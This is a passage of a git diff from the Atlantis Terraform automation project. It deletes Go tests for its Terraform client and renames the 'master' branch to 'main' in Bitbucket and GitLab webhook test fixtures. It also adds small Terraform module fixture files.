its contents will NOT be modified if -// we write our config that we don't error. -func TestGenerateRCFile_NoErrIfContentsSame(t *testing.T) { - tmp, cleanup := TempDir(t) - defer cleanup() - - rcFile := filepath.Join(tmp, ".terraformrc") - contents := `credentials "app.terraform.io" { - token = "token" -}` - err := ioutil.WriteFile(rcFile, []byte(contents), 0600) - Ok(t, err) - - err = generateRCFile("token", "app.terraform.io", tmp) - Ok(t, err) -} - -// Test that if we can't read the existing file to see if the contents will be -// the same that we just error out. -func TestGenerateRCFile_ErrIfCannotRead(t *testing.T) { - tmp, cleanup := TempDir(t) - defer cleanup() - - rcFile := filepath.Join(tmp, ".terraformrc") - err := ioutil.WriteFile(rcFile, []byte("can't see me!"), 0000) - Ok(t, err) - - expErr := fmt.Sprintf("trying to read %s to ensure we're not overwriting it: open %s: permission denied", rcFile, rcFile) - actErr := generateRCFile("token", "hostname", tmp) - ErrEquals(t, expErr, actErr) -} - -// Test that if we can't write, we error out. -func TestGenerateRCFile_ErrIfCannotWrite(t *testing.T) { - rcFile := "/this/dir/does/not/exist/.terraformrc" - expErr := fmt.Sprintf("writing generated .terraformrc file with TFE token to %s: open %s: no such file or directory", rcFile, rcFile) - actErr := generateRCFile("token", "hostname", "/this/dir/does/not/exist") - ErrEquals(t, expErr, actErr) -} - -// Test that it executes with the expected env vars. -func TestDefaultClient_RunCommandWithVersion_EnvVars(t *testing.T) { - v, err := version.NewVersion("0.11.11") - Ok(t, err) - tmp, cleanup := TempDir(t) - defer cleanup() - client := &DefaultClient{ - defaultVersion: v, - terraformPluginCacheDir: tmp, - overrideTF: "echo", - usePluginCache: true, - } - - args := []string{ - "TF_IN_AUTOMATION=$TF_IN_AUTOMATION", - "TF_PLUGIN_CACHE_DIR=$TF_PLUGIN_CACHE_DIR", - "WORKSPACE=$WORKSPACE", - "ATLANTIS_TERRAFORM_VERSION=$ATLANTIS_TERRAFORM_VERSION", - "DIR=$DIR", - } - out, err := client.RunCommandWithVersion(nil, tmp, args, map[string]string{}, nil, "workspace") - Ok(t, err) - exp := fmt.Sprintf("TF_IN_AUTOMATION=true TF_PLUGIN_CACHE_DIR=%s WORKSPACE=workspace ATLANTIS_TERRAFORM_VERSION=0.11.11 DIR=%s\n", tmp, tmp) - Equals(t, exp, out) -} - -// Test that it returns an error on error. -func TestDefaultClient_RunCommandWithVersion_Error(t *testing.T) { - v, err := version.NewVersion("0.11.11") - Ok(t, err) - tmp, cleanup := TempDir(t) - defer cleanup() - client := &DefaultClient{ - defaultVersion: v, - terraformPluginCacheDir: tmp, - overrideTF: "echo", - } - - args := []string{ - "dying", - "&&", - "exit", - "1", - } - log := logging.NewSimpleLogger("test", false, logging.Debug) - out, err := client.RunCommandWithVersion(log, tmp, args, map[string]string{}, nil, "workspace") - ErrEquals(t, fmt.Sprintf(`running "echo dying && exit 1" in %q: exit status 1`, tmp), err) - // Test that we still get our output. - Equals(t, "dying\n", out) -} - -func TestDefaultClient_RunCommandAsync_Success(t *testing.T) { - v, err := version.NewVersion("0.11.11") - Ok(t, err) - tmp, cleanup := TempDir(t) - defer cleanup() - client := &DefaultClient{ - defaultVersion: v, - terraformPluginCacheDir: tmp, - overrideTF: "echo", - usePluginCache: true, - } - - args := []string{ - "TF_IN_AUTOMATION=$TF_IN_AUTOMATION", - "TF_PLUGIN_CACHE_DIR=$TF_PLUGIN_CACHE_DIR", - "WORKSPACE=$WORKSPACE", - "ATLANTIS_TERRAFORM_VERSION=$ATLANTIS_TERRAFORM_VERSION", - "DIR=$DIR", - } - _, outCh := client.RunCommandAsync(nil, tmp, args, map[string]string{}, nil, "workspace") - - out, err := waitCh(outCh) - Ok(t, err) - exp := fmt.Sprintf("TF_IN_AUTOMATION=true TF_PLUGIN_CACHE_DIR=%s WORKSPACE=workspace ATLANTIS_TERRAFORM_VERSION=0.11.11 DIR=%s", tmp, tmp) - Equals(t, exp, out) -} - -func TestDefaultClient_RunCommandAsync_BigOutput(t *testing.T) { - v, err := version.NewVersion("0.11.11") - Ok(t, err) - tmp, cleanup := TempDir(t) - defer cleanup() - client := &DefaultClient{ - defaultVersion: v, - terraformPluginCacheDir: tmp, - overrideTF: "cat", - } - filename := filepath.Join(tmp, "data") - f, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) - Ok(t, err) - - var exp string - for i := 0; i < 1024; i++ { - s := strings.Repeat("0", 10) + "\n" - exp += s - _, err = f.WriteString(s) - Ok(t, err) - } - _, outCh := client.RunCommandAsync(nil, tmp, []string{filename}, map[string]string{}, nil, "workspace") - - out, err := waitCh(outCh) - Ok(t, err) - Equals(t, strings.TrimRight(exp, "\n"), out) -} - -func TestDefaultClient_RunCommandAsync_StderrOutput(t *testing.T) { - v, err := version.NewVersion("0.11.11") - Ok(t, err) - tmp, cleanup := TempDir(t) - defer cleanup() - client := &DefaultClient{ - defaultVersion: v, - terraformPluginCacheDir: tmp, - overrideTF: "echo", - } - log := logging.NewSimpleLogger("test", false, logging.Debug) - _, outCh := client.RunCommandAsync(log, tmp, []string{"stderr", ">&2"}, map[string]string{}, nil, "workspace") - - out, err := waitCh(outCh) - Ok(t, err) - Equals(t, "stderr", out) -} - -func TestDefaultClient_RunCommandAsync_ExitOne(t *testing.T) { - v, err := version.NewVersion("0.11.11") - Ok(t, err) - tmp, cleanup := TempDir(t) - defer cleanup() - client := &DefaultClient{ - defaultVersion: v, - terraformPluginCacheDir: tmp, - overrideTF: "echo", - } - log := logging.NewSimpleLogger("test", false, logging.Debug) - _, outCh := client.RunCommandAsync(log, tmp, []string{"dying", "&&", "exit", "1"}, map[string]string{}, nil, "workspace") - - out, err := waitCh(outCh) - ErrEquals(t, fmt.Sprintf(`running "echo dying && exit 1" in %q: exit status 1`, tmp), err) - // Test that we still get our output. - Equals(t, "dying", out) -} - -func TestDefaultClient_RunCommandAsync_Input(t *testing.T) { - v, err := version.NewVersion("0.11.11") - Ok(t, err) - tmp, cleanup := TempDir(t) - defer cleanup() - client := &DefaultClient{ - defaultVersion: v, - terraformPluginCacheDir: tmp, - overrideTF: "read", - } - log := logging.NewSimpleLogger("test", false, logging.Debug) - inCh, outCh := client.RunCommandAsync(log, tmp, []string{"a", "&&", "echo", "$a"}, map[string]string{}, nil, "workspace") - inCh <- "echo me\n" - - out, err := waitCh(outCh) - Ok(t, err) - Equals(t, "echo me", out) -} - -func waitCh(ch <-chan Line) (string, error) { - var ls []string - for line := range ch { - if line.Err != nil { - return strings.Join(ls, "\n"), line.Err - } - ls = append(ls, line.Line) - } - return strings.Join(ls, "\n"), nil -} diff --git a/server/events/terraform/terraform_client_test.go b/server/events/terraform/terraform_client_test.go deleted file mode 100644 index 18ac5525b7..0000000000 --- a/server/events/terraform/terraform_client_test.go +++ /dev/null @@ -1,279 +0,0 @@ -// Copyright 2017 HootSuite Media Inc. -// -// Licensed under the Apache License, Version 2.0 (the License); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an AS IS BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// Modified hereafter by contributors to runatlantis/atlantis. - -package terraform_test - -import ( - "fmt" - "io/ioutil" - "os" - "path/filepath" - "runtime" - "testing" - "time" - - version "github.com/hashicorp/go-version" - "github.com/petergtz/pegomock" - . "github.com/petergtz/pegomock" - "github.com/runatlantis/atlantis/cmd" - "github.com/runatlantis/atlantis/server/events/terraform" - "github.com/runatlantis/atlantis/server/events/terraform/mocks" - "github.com/runatlantis/atlantis/server/logging" - . "github.com/runatlantis/atlantis/testing" -) - -func TestMustConstraint_PanicsOnBadConstraint(t *testing.T) { - t.Log("MustConstraint should panic on a bad constraint") - defer func() { - if r := recover(); r == nil { - t.Errorf("The code did not panic") - } - }() - - terraform.MustConstraint("invalid constraint") -} - -func TestMustConstraint(t *testing.T) { - t.Log("MustConstraint should return the constrain") - c := terraform.MustConstraint(">0.1") - expectedConstraint, err := version.NewConstraint(">0.1") - Ok(t, err) - Equals(t, expectedConstraint.String(), c.String()) -} - -// Test that if terraform is in path and we're not setting the default-tf flag, -// that we use that version as our default version. -func TestNewClient_LocalTFOnly(t *testing.T) { - fakeBinOut := `Terraform v0.11.10 - -Your version of Terraform is out of date! The latest version -is 0.11.13. You can update by downloading from www.terraform.io/downloads.html -` - tmp, cleanup := TempDir(t) - defer cleanup() - - // We're testing this by adding our own "fake" terraform binary to path that - // outputs what would normally come from terraform version. - err := ioutil.WriteFile(filepath.Join(tmp, "terraform"), []byte(fmt.Sprintf("#!/bin/sh\necho '%s'", fakeBinOut)), 0755) - Ok(t, err) - defer tempSetEnv(t, "PATH", fmt.Sprintf("%s:%s", tmp, os.Getenv("PATH")))() - - c, err := terraform.NewClient(nil, tmp, "", "", "", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, nil, true) - Ok(t, err) - - Ok(t, err) - Equals(t, "0.11.10", c.DefaultVersion().String()) - - output, err := c.RunCommandWithVersion(nil, tmp, nil, map[string]string{"test": "123"}, nil, "") - Ok(t, err) - Equals(t, fakeBinOut+"\n", output) -} - -// Test that if terraform is in path and the default-tf flag is set to the -// same version that we don't download anything. -func TestNewClient_LocalTFMatchesFlag(t *testing.T) { - fakeBinOut := `Terraform v0.11.10 - -Your version of Terraform is out of date! The latest version -is 0.11.13. You can update by downloading from www.terraform.io/downloads.html -` - tmp, cleanup := TempDir(t) - defer cleanup() - - // We're testing this by adding our own "fake" terraform binary to path that - // outputs what would normally come from terraform version. - err := ioutil.WriteFile(filepath.Join(tmp, "terraform"), []byte(fmt.Sprintf("#!/bin/sh\necho '%s'", fakeBinOut)), 0755) - Ok(t, err) - defer tempSetEnv(t, "PATH", fmt.Sprintf("%s:%s", tmp, os.Getenv("PATH")))() - - c, err := terraform.NewClient(nil, tmp, "", "", "0.11.10", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, nil, true) - Ok(t, err) - - Ok(t, err) - Equals(t, "0.11.10", c.DefaultVersion().String()) - - output, err := c.RunCommandWithVersion(nil, tmp, nil, map[string]string{}, nil, "") - Ok(t, err) - Equals(t, fakeBinOut+"\n", output) -} - -// Test that if terraform is not in PATH and we didn't set the default-tf flag -// that we error. -func TestNewClient_NoTF(t *testing.T) { - tmp, cleanup := TempDir(t) - defer cleanup() - - // Set PATH to only include our empty directory. - defer tempSetEnv(t, "PATH", tmp)() - - _, err := terraform.NewClient(nil, tmp, "", "", "", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, nil, true) - ErrEquals(t, "terraform not found in $PATH. Set --default-tf-version or download terraform from https://www.terraform.io/downloads.html", err) -} - -// Test that if the default-tf flag is set and that binary is in our PATH -// that we use it. -func TestNewClient_DefaultTFFlagInPath(t *testing.T) { - fakeBinOut := "Terraform v0.11.10\n" - tmp, cleanup := TempDir(t) - defer cleanup() - - // We're testing this by adding our own "fake" terraform binary to path that - // outputs what would normally come from terraform version. - err := ioutil.WriteFile(filepath.Join(tmp, "terraform0.11.10"), []byte(fmt.Sprintf("#!/bin/sh\necho '%s'", fakeBinOut)), 0755) - Ok(t, err) - defer tempSetEnv(t, "PATH", fmt.Sprintf("%s:%s", tmp, os.Getenv("PATH")))() - - c, err := terraform.NewClient(nil, tmp, "", "", "0.11.10", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, nil, true) - Ok(t, err) - - Ok(t, err) - Equals(t, "0.11.10", c.DefaultVersion().String()) - - output, err := c.RunCommandWithVersion(nil, tmp, nil, map[string]string{}, nil, "") - Ok(t, err) - Equals(t, fakeBinOut+"\n", output) -} - -// Test that if the default-tf flag is set and that binary is in our download -// bin dir that we use it. -func TestNewClient_DefaultTFFlagInBinDir(t *testing.T) { - fakeBinOut := "Terraform v0.11.10\n" - tmp, cleanup := TempDir(t) - defer cleanup() - - // Add our fake binary to {datadir}/bin/terraform{version}. - Ok(t, os.Mkdir(filepath.Join(tmp, "bin"), 0700)) - err := ioutil.WriteFile(filepath.Join(tmp, "bin", "terraform0.11.10"), []byte(fmt.Sprintf("#!/bin/sh\necho '%s'", fakeBinOut)), 0755) - Ok(t, err) - defer tempSetEnv(t, "PATH", fmt.Sprintf("%s:%s", tmp, os.Getenv("PATH")))() - - c, err := terraform.NewClient(logging.NewNoopLogger(), tmp, "", "", "0.11.10", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, nil, true) - Ok(t, err) - - Ok(t, err) - Equals(t, "0.11.10", c.DefaultVersion().String()) - - output, err := c.RunCommandWithVersion(nil, tmp, nil, map[string]string{}, nil, "") - Ok(t, err) - Equals(t, fakeBinOut+"\n", output) -} - -// Test that if we don't have that version of TF that we download it. -func TestNewClient_DefaultTFFlagDownload(t *testing.T) { - RegisterMockTestingT(t) - tmp, cleanup := TempDir(t) - defer cleanup() - - // Set PATH to empty so there's no TF available. - orig := os.Getenv("PATH") - defer tempSetEnv(t, "PATH", "")() - - mockDownloader := mocks.NewMockDownloader() - When(mockDownloader.GetFile(AnyString(), AnyString())).Then(func(params []pegomock.Param) pegomock.ReturnValues { - err := ioutil.WriteFile(params[0].(string), []byte("#!/bin/sh\necho '\nTerraform v0.11.10\n'"), 0755) - return []pegomock.ReturnValue{err} - }) - c, err := terraform.NewClient(nil, tmp, "", "", "0.11.10", cmd.DefaultTFVersionFlag, "https://my-mirror.releases.mycompany.com", mockDownloader, true) - Ok(t, err) - - Ok(t, err) - Equals(t, "0.11.10", c.DefaultVersion().String()) - baseURL := "https://my-mirror.releases.mycompany.com/terraform/0.11.10" - expURL := fmt.Sprintf("%s/terraform_0.11.10_%s_%s.zip?checksum=file:%s/terraform_0.11.10_SHA256SUMS", - baseURL, - runtime.GOOS, - runtime.GOARCH, - baseURL) - mockDownloader.VerifyWasCalledEventually(Once(), 2*time.Second).GetFile(filepath.Join(tmp, "bin", "terraform0.11.10"), expURL) - - // Reset PATH so that it has sh. - Ok(t, os.Setenv("PATH", orig)) - output, err := c.RunCommandWithVersion(nil, tmp, nil, map[string]string{}, nil, "") - Ok(t, err) - Equals(t, "\nTerraform v0.11.10\n\n", output) -} - -// Test that we get an error if the terraform version flag is malformed. -func TestNewClient_BadVersion(t *testing.T) { - tmp, cleanup := TempDir(t) - defer cleanup() - _, err := terraform.NewClient(nil, tmp, "", "", "malformed", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, nil, true) - ErrEquals(t, "Malformed version: malformed", err) -} - -// Test that if we run a command with a version we don't have, we download it. -func TestRunCommandWithVersion_DLsTF(t *testing.T) { - RegisterMockTestingT(t) - tmp, cleanup := TempDir(t) - defer cleanup() - - mockDownloader := mocks.NewMockDownloader() - // Set up our mock downloader to write a fake tf binary when it's called. - baseURL := fmt.Sprintf("%s/terraform/99.99.99", cmd.DefaultTFDownloadURL) - expURL := fmt.Sprintf("%s/terraform_99.99.99_%s_%s.zip?checksum=file:%s/terraform_99.99.99_SHA256SUMS", - baseURL, - runtime.GOOS, - runtime.GOARCH, - baseURL) - When(mockDownloader.GetFile(filepath.Join(tmp, "bin", "terraform99.99.99"), expURL)).Then(func(params []pegomock.Param) pegomock.ReturnValues { - err := ioutil.WriteFile(params[0].(string), []byte("#!/bin/sh\necho '\nTerraform v99.99.99\n'"), 0755) - return []pegomock.ReturnValue{err} - }) - - c, err := terraform.NewClient(nil, tmp, "", "", "0.11.10", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, mockDownloader, true) - Ok(t, err) - Equals(t, "0.11.10", c.DefaultVersion().String()) - - v, err := version.NewVersion("99.99.99") - Ok(t, err) - output, err := c.RunCommandWithVersion(nil, tmp, nil, map[string]string{}, v, "") - Assert(t, err == nil, "err: %s: %s", err, output) - Equals(t, "\nTerraform v99.99.99\n\n", output) -} - -// Test the EnsureVersion downloads terraform. -func TestEnsureVersion_downloaded(t *testing.T) { - RegisterMockTestingT(t) - tmp, cleanup := TempDir(t) - defer cleanup() - - mockDownloader := mocks.NewMockDownloader() - - c, err := terraform.NewClient(nil, tmp, "", "", "0.11.10", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, mockDownloader, true) - Ok(t, err) - - Equals(t, "0.11.10", c.DefaultVersion().String()) - - v, err := version.NewVersion("99.99.99") - Ok(t, err) - - err = c.EnsureVersion(nil, v) - - Ok(t, err) - - baseURL := fmt.Sprintf("%s/terraform/99.99.99", cmd.DefaultTFDownloadURL) - expURL := fmt.Sprintf("%s/terraform_99.99.99_%s_%s.zip?checksum=file:%s/terraform_99.99.99_SHA256SUMS", - baseURL, - runtime.GOOS, - runtime.GOARCH, - baseURL) - mockDownloader.VerifyWasCalledEventually(Once(), 2*time.Second).GetFile(filepath.Join(tmp, "bin", "terraform99.99.99"), expURL) -} - -// tempSetEnv sets env var key to value. It returns a function that when called -// will reset the env var to its original value. -func tempSetEnv(t *testing.T, key string, value string) func() { - orig := os.Getenv(key) - Ok(t, os.Setenv(key, value)) - return func() { os.Setenv(key, orig) } -} diff --git a/server/events/testdata/bitbucket-cloud-comment-event.json b/server/events/testdata/bitbucket-cloud-comment-event.json index 59885956ed..f33f8f962b 100644 --- a/server/events/testdata/bitbucket-cloud-comment-event.json +++ b/server/events/testdata/bitbucket-cloud-comment-event.json @@ -30,7 +30,6 @@ }, "created_on": "2018-07-19T19:51:50.607374+00:00", "user": { - "username": "lkysow", "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { @@ -100,7 +99,7 @@ } }, "branch": { - "name": "master" + "name": "main" }, "repository": { "full_name": "lkysow/atlantis-example", @@ -159,7 +158,6 @@ }, "state": "MERGED", "author": { - "username": "lkysow", "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { @@ -181,7 +179,6 @@ { "type": "participant", "user": { - "username": "lkysow", "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { @@ -214,7 +211,6 @@ } }, "closed_by": { - "username": "lkysow", "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { @@ -234,7 +230,6 @@ "task_count": 0 }, "actor": { - "username": "lkysow", "nickname": "lkysow", "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", @@ -269,7 +264,6 @@ }, "full_name": "lkysow/atlantis-example", "owner": { - "username": "lkysow", "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { diff --git a/server/events/testdata/bitbucket-cloud-pull-event-created.json b/server/events/testdata/bitbucket-cloud-pull-event-created.json index f8de61cc43..9dc2550a3c 100644 --- a/server/events/testdata/bitbucket-cloud-pull-event-created.json +++ b/server/events/testdata/bitbucket-cloud-pull-event-created.json @@ -83,7 +83,7 @@ "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "branch": { - "name": "master" + "name": "main" } }, "created_on": "2019-06-13T13:37:58.036928+00:00", diff --git a/server/events/testdata/bitbucket-cloud-pull-event-fulfilled.json b/server/events/testdata/bitbucket-cloud-pull-event-fulfilled.json index aac36ec2a1..417a034bfa 100644 --- a/server/events/testdata/bitbucket-cloud-pull-event-fulfilled.json +++ b/server/events/testdata/bitbucket-cloud-pull-event-fulfilled.json @@ -83,7 +83,7 @@ "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "branch": { - "name": "master" + "name": "main" } }, "created_on": "2019-06-13T13:37:58.036928+00:00", diff --git a/server/events/testdata/bitbucket-cloud-pull-event-rejected.json b/server/events/testdata/bitbucket-cloud-pull-event-rejected.json index 23399af6df..adc5b9d89d 100644 --- a/server/events/testdata/bitbucket-cloud-pull-event-rejected.json +++ b/server/events/testdata/bitbucket-cloud-pull-event-rejected.json @@ -83,7 +83,7 @@ "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "branch": { - "name": "master" + "name": "main" } }, "created_on": "2019-02-12T16:54:45.891127+00:00", diff --git a/server/events/testdata/bitbucket-cloud-pull-event-updated.json b/server/events/testdata/bitbucket-cloud-pull-event-updated.json index 3a3c7792f2..4c65a01daf 100644 --- a/server/events/testdata/bitbucket-cloud-pull-event-updated.json +++ b/server/events/testdata/bitbucket-cloud-pull-event-updated.json @@ -48,7 +48,7 @@ } }, "branch": { - "name": "master" + "name": "main" }, "repository": { "full_name": "lkysow/atlantis-example", @@ -107,7 +107,6 @@ }, "state": "OPEN", "author": { - "username": "lkysow", "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { @@ -129,7 +128,6 @@ { "type": "participant", "user": { - "username": "lkysow", "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { @@ -158,7 +156,6 @@ "task_count": 0 }, "actor": { - "username": "lkysow", "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { @@ -192,7 +189,6 @@ }, "full_name": "lkysow/atlantis-example", "owner": { - "username": "lkysow", "display_name": "Luke", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090", "links": { @@ -213,4 +209,4 @@ "is_private": false, "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" } -} \ No newline at end of file +} diff --git a/server/events/testdata/bitbucket-server-comment-event.json b/server/events/testdata/bitbucket-server-comment-event.json index dc5fae6d91..2621b60540 100644 --- a/server/events/testdata/bitbucket-server-comment-event.json +++ b/server/events/testdata/bitbucket-server-comment-event.json @@ -42,8 +42,8 @@ } }, "toRef": { - "id": "refs/heads/master", - "displayId": "master", + "id": "refs/heads/main", + "displayId": "main", "latestCommit": "3d1f26bc1c8eeb5ad94e247c92072717b9de6aa0", "repository": { "slug": "atlantis-example", @@ -102,4 +102,4 @@ "comments": [], "tasks": [] } -} \ No newline at end of file +} diff --git a/server/events/testdata/bitbucket-server-get-pull.json b/server/events/testdata/bitbucket-server-get-pull.json index c713635884..91623b6cd4 100644 --- a/server/events/testdata/bitbucket-server-get-pull.json +++ b/server/events/testdata/bitbucket-server-get-pull.json @@ -54,8 +54,8 @@ } }, "toRef": { - "id": "refs/heads/master", - "displayId": "master", + "id": "refs/heads/main", + "displayId": "main", "latestCommit": "bbc7b2a29344646ec8605be9603a0aa625a627ef", "repository": { "slug": "atlantis-example", @@ -153,4 +153,4 @@ } ] } -} \ No newline at end of file +} diff --git a/server/events/testdata/bitbucket-server-pull-event-created.json b/server/events/testdata/bitbucket-server-pull-event-created.json index 1292c0a0db..e644b08c33 100644 --- a/server/events/testdata/bitbucket-server-pull-event-created.json +++ b/server/events/testdata/bitbucket-server-pull-event-created.json @@ -42,8 +42,8 @@ } }, "toRef": { - "id": "refs/heads/master", - "displayId": "master", + "id": "refs/heads/main", + "displayId": "main", "latestCommit": "3d1f26bc1c8eeb5ad94e247c92072717b9de6aa0", "repository": { "slug": "atlantis-example", @@ -81,4 +81,4 @@ "reviewers": [], "participants": [] } -} \ No newline at end of file +} diff --git a/server/events/testdata/bitbucket-server-pull-event-declined.json b/server/events/testdata/bitbucket-server-pull-event-declined.json index 2ed88b9a93..b4505e37ab 100644 --- a/server/events/testdata/bitbucket-server-pull-event-declined.json +++ b/server/events/testdata/bitbucket-server-pull-event-declined.json @@ -43,8 +43,8 @@ } }, "toRef": { - "id": "refs/heads/master", - "displayId": "master", + "id": "refs/heads/main", + "displayId": "main", "latestCommit": "120cff6e1452086c90689c810c15b534381ba61b", "repository": { "slug": "atlantis-example", diff --git a/server/events/testdata/bitbucket-server-pull-event-merged.json b/server/events/testdata/bitbucket-server-pull-event-merged.json index ed22810b1a..4e1f5e05fd 100644 --- a/server/events/testdata/bitbucket-server-pull-event-merged.json +++ b/server/events/testdata/bitbucket-server-pull-event-merged.json @@ -60,8 +60,8 @@ } }, "toRef": { - "id": "refs/heads/master", - "displayId": "master", + "id": "refs/heads/main", + "displayId": "main", "latestCommit": "120cff6e1452086c90689c810c15b534381ba61b", "repository": { "slug": "atlantis-example", diff --git a/vendor/github.com/spf13/pflag/go.sum b/server/events/testdata/fs/repoA/baz/init.tf similarity index 100% rename from vendor/github.com/spf13/pflag/go.sum rename to server/events/testdata/fs/repoA/baz/init.tf diff --git a/server/events/testdata/fs/repoA/baz/mods.tf b/server/events/testdata/fs/repoA/baz/mods.tf new file mode 100644 index 0000000000..88871cc19f --- /dev/null +++ b/server/events/testdata/fs/repoA/baz/mods.tf @@ -0,0 +1,3 @@ +module "bar" { + source = "../modules/bar" +} diff --git a/server/events/testdata/fs/repoA/modules/bar/bar.tf b/server/events/testdata/fs/repoA/modules/bar/bar.tf new file mode 100644 index 0000000000..e69de29bb2 diff --git a/server/events/testdata/fs/repoA/modules/foo/foo.tf b/server/events/testdata/fs/repoA/modules/foo/foo.tf new file mode 100644 index 0000000000..e69de29bb2 diff --git a/server/events/testdata/fs/repoA/modules/foo/mods.tf b/server/events/testdata/fs/repoA/modules/foo/mods.tf new file mode 100644 index 0000000000..fc5f7d817f --- /dev/null +++ b/server/events/testdata/fs/repoA/modules/foo/mods.tf @@ -0,0 +1,3 @@ +module "bar" { + source = "../bar" +} diff --git a/server/events/testdata/fs/repoA/qux/quxx/init.tf b/server/events/testdata/fs/repoA/qux/quxx/init.tf new file mode 100644 index 0000000000..e69de29bb2 diff --git a/server/events/testdata/fs/repoA/qux/quxx/mods.tf b/server/events/testdata/fs/repoA/qux/quxx/mods.tf new file mode 100644 index 0000000000..7627c2d9d1 --- /dev/null +++ b/server/events/testdata/fs/repoA/qux/quxx/mods.tf @@ -0,0 +1,3 @@ +module "foo" { + source = "../../modules/foo" +} \ No newline at end of file diff --git a/server/events/testdata/fs/repoB/dev/quxx/init.tf b/server/events/testdata/fs/repoB/dev/quxx/init.tf new file mode 100644 index 0000000000..e69de29bb2 diff --git a/server/events/testdata/fs/repoB/dev/quxx/mods.tf b/server/events/testdata/fs/repoB/dev/quxx/mods.tf new file mode 100644 index 0000000000..0e1c73f19b --- /dev/null +++ b/server/events/testdata/fs/repoB/dev/quxx/mods.tf @@ -0,0 +1,3 @@ +module "foo" { + source = "../../modules/foo" +} diff --git a/server/events/testdata/fs/repoB/modules/bar/bar.tf b/server/events/testdata/fs/repoB/modules/bar/bar.tf new file mode 100644 index 0000000000..e69de29bb2 diff --git a/server/events/testdata/fs/repoB/modules/foo/foo.tf b/server/events/testdata/fs/repoB/modules/foo/foo.tf new file mode 100644 index 0000000000..e69de29bb2 diff --git a/server/events/testdata/fs/repoB/modules/foo/mods.tf b/server/events/testdata/fs/repoB/modules/foo/mods.tf new file mode 100644 index 0000000000..fc5f7d817f --- /dev/null +++ b/server/events/testdata/fs/repoB/modules/foo/mods.tf @@ -0,0 +1,3 @@ +module "bar" { + source = "../bar" +} diff --git a/server/events/testdata/fs/repoB/prod/quxx/init.tf b/server/events/testdata/fs/repoB/prod/quxx/init.tf new file mode 100644 index 0000000000..e69de29bb2 diff --git a/server/events/testdata/fs/repoB/prod/quxx/mods.tf b/server/events/testdata/fs/repoB/prod/quxx/mods.tf new file mode 100644 index 0000000000..7627c2d9d1 --- /dev/null +++ b/server/events/testdata/fs/repoB/prod/quxx/mods.tf @@ -0,0 +1,3 @@ +module "foo" { + source = "../../modules/foo" +} \ No newline at end of file diff --git a/server/events/testdata/gitlab-get-merge-request-subgroup.json b/server/events/testdata/gitlab-get-merge-request-subgroup.json index c1e4639fa5..92414666b9 100644 --- a/server/events/testdata/gitlab-get-merge-request-subgroup.json +++ b/server/events/testdata/gitlab-get-merge-request-subgroup.json @@ -7,7 +7,7 @@ "state": "opened", "created_at": "2018-08-22T06:14:20.946Z", "updated_at": "2018-08-22T06:14:20.946Z", - "target_branch": "master", + "target_branch": "main", "source_branch": "patch", "upvotes": 0, "downvotes": 0, @@ -63,4 +63,4 @@ "start_sha": "cdf3f0f8aad6abc3c4700ad6e28936a2278a309b" }, "approvals_before_merge": null -} \ No newline at end of file +} diff --git a/server/events/testdata/gitlab-get-merge-request.json b/server/events/testdata/gitlab-get-merge-request.json index f7506ec04a..b804860415 100644 --- a/server/events/testdata/gitlab-get-merge-request.json +++ b/server/events/testdata/gitlab-get-merge-request.json @@ -7,7 +7,7 @@ "state":"opened", "created_at":"2017-11-13T19:33:42.704Z", "updated_at":"2017-11-13T23:35:26.200Z", - "target_branch":"master", + "target_branch":"main", "source_branch":"abc", "upvotes":0, "downvotes":0, @@ -44,4 +44,4 @@ "human_time_estimate":null, "human_total_time_spent":null } -} \ No newline at end of file +} diff --git a/server/events/testdata/gitlab-merge-request-comment-event-subgroup.json b/server/events/testdata/gitlab-merge-request-comment-event-subgroup.json index 9bd6e6d392..3116caf3ce 100644 --- a/server/events/testdata/gitlab-merge-request-comment-event-subgroup.json +++ b/server/events/testdata/gitlab-merge-request-comment-event-subgroup.json @@ -18,7 +18,7 @@ "namespace": "sub-subgroup", "visibility_level": 20, "path_with_namespace": "lkysow-test/subgroup/sub-subgroup/atlantis-example", - "default_branch": "master", + "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example", "url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", @@ -79,7 +79,7 @@ "source_branch": "patch", "source_project_id": 7804027, "state": "opened", - "target_branch": "master", + "target_branch": "main", "target_project_id": 7804027, "time_estimate": 0, "title": "Update main.tf", @@ -97,7 +97,7 @@ "namespace": "sub-subgroup", "visibility_level": 20, "path_with_namespace": "lkysow-test/subgroup/sub-subgroup/atlantis-example", - "default_branch": "master", + "default_branch": "main", "ci_config_path": null, "homepage": 